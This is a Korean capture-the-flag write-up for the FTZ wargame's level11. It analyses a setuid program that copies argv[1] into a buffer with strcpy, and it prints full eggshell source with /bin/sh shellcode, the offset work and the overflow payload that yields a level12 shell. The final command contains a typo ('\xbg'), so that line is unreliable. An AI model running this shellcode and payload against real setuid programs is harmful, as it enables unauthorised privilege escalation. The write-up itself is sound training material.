문제분석
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
○ 코드 분석
1) str[256] 선언
2) setreuid()를 통해 level12의 권한으로 설정
3) argv[1]을 받고 str[256]에 복사
4) str[256] 출력
level12 권한으로 설정 후 argv[1]을 str[256]에 복사하고 있다.
복사하는 과정에서 argv[1]에 대한 검증이 없다. 따라서 argv[1]을 이용해서 버퍼 오버플로우 공격을 수행할 수 있다.
디렉토리의 파일들을 확인해보면 attackme라는 level12의 setuid 권한이 걸린 파일이 있다.
hint는 attackme 코드다.
지금까지의 내용을 정리하면 attackme에는 버퍼 오버플로우이 발생하고 이를 이용해서 level12 권한의 쉘을 획득하는 것이 목표다.
○ 버퍼 오버플로우(BOF)
메모리에 생성된 버퍼의 범위를 넘서는 영역에 쓰기가 발생하는 취약점이다. 이를 이용하면, RET을 임의의 주소로 변경하여 공격자가 원하는 코드를 실행할 수 있다.
RET은 main 함수가 종료될 때, 리턴되는 주소다. RET에 저장된 주소로 점프하여 해당 구역의 코드를 실행한다.
우리가 생각해볼 수 있는 시나리오는 메모리에 쉘코드를 업로드하고 RET을 셸코드의 주소를 변경하는 것이다.
attackme의 스택구조를 만들면 다음과 같다.
str에 저장되는 데이터가 ESP 부터 시작해서 아래에서 위 방향으로 차례대로 저장된다.
이때, str의 크기인 256을 넘어서는 크기의 데이터를 저장하면 BOF가 한다.
이때, RET에 쉘코드 주소를 덮어씌우면 된다.
exploit
○ 공격시나리오
1) eggshell을 이용해서 메모리에 셸코드를 적재하고 해당 주소를 알아낸다.
2) str부터 RET 까지의 offset을 조사하고 1)에서 알아낸 셸코드 주소를 이용해서 payload를 작성한다.
3) 작성한 payload를 이용해서 쉘을 획득한다.
먼저, 쉘코드를 메모리에 적재해야한다.
메모리에 적재하는 간단한 방법은 eggshell을 이용하는 것이다.
eggshell은 BSS 영역에 쉘코드를 적재하고, 쉘코드를 EGG라는 환경변수로 선언해서 환경변수 영역에 셸코드를 저장하는 프로그램이다.
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
{
if(i == 1040)
{
*(addr_ptr++) = 0x1234567;
}
else
*(addr_ptr++) = addr;
}
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
eggshell.c다.
/tmp 경로로 이동해서 작성했다.
eggshell.c를 컴파일해서 eggshell을 생성하자.
다음으로 str부터 RET 까지의 offset을 구하자.
offset을 구하는 과정에서는 GDB로 asm 코드를 직접 확인해야한다. 이유는 c 코드로 정의한 크기와 메모리에서 할당된 크기가 다를 수 있기 때문이다.
예를 들어보자.
attackme 코드에서 str[256]으로 선언했다. 따라서 str이 256 바이트 크기로 메모리에 할당됐다고 생각할 수 있다. 하지만 실제 메모리에서는 다른 크기로 할당됐을 수 있다는 말이다.
왜냐하면, 운영체제에 따라 기본으로 할당하는 메모리 크기 단위가 있기 때문이다.
FTZ는 x86 체제로 4바이트 단위로 메모리를 할당한다. 예를 들어서 258 바이트 크기의 배열을 할당하더라도 4바이트 단위로 메모리가 할당되기 때문에 260 바이트가 할당된다.
이러한 이유 때문에 asm 코드를 직접 확인하는 것이 정확하다.
gdb로 디버깅할 수 있는 권한이 /tmp 경로에 있다. 따라서 힌트 코드를 이용해서 임시 attackme을 컴파일했다.
gdb로 디버깅하면 위와 같이 main의 asm 코드를 확인할 수 있다.
코드를 분석하면, 파란색은 setreuid()를 호출하는 부분이고 빨간색은 처음에 메모리가 할당되는 부분이다.
빨간색을 보면 0x108 크기의 공간을 할당하고 있다.
즉, 0x108 = 264 바이트가 할당된 것이다.
메모리 스택에서는 [그림]과 같은 형태로 메모리 공간이 할당됐다. 따라서 str[256]부터 RET 까지의 offset은 264(str)+4(SFP) = 268 바이트가 된다.
이제 payload를 작성해보자.
"A"*268+[셸코드의 주소]
다음으로 eggshell을 이용해서 셸코드 주소를 구해보자.
셸코드의 주소는 0xbfffd798다.
payload를 완성해보자.
"A"*268+"\x98\xd7\xff\xbf"
셸코드 주소가 역순으로 작성된 이유는 리틀엔디안 방식의 운영체제이기 때문이다.
○ endian type
endian은 컴퓨터의 메모리와 같은 공간에서 여러 개의 연속된 대상을 배열하는 방법이다.
1) big endian: 가장 높은 유효 바이트(최상위 바이트)가 가장 낮은 메모리 주소에 저장되는 방식
2) little endian: 가장 낮은 유효 바이트(최하위 바이트)가 가장 낮은 메모리 주소에 저장되는 방식
./attackme `python -c 'print "A"*268+"\x98\xd7\xff\xbg"'`
payload를 전송해보자.
level12의 쉘을 획득했다.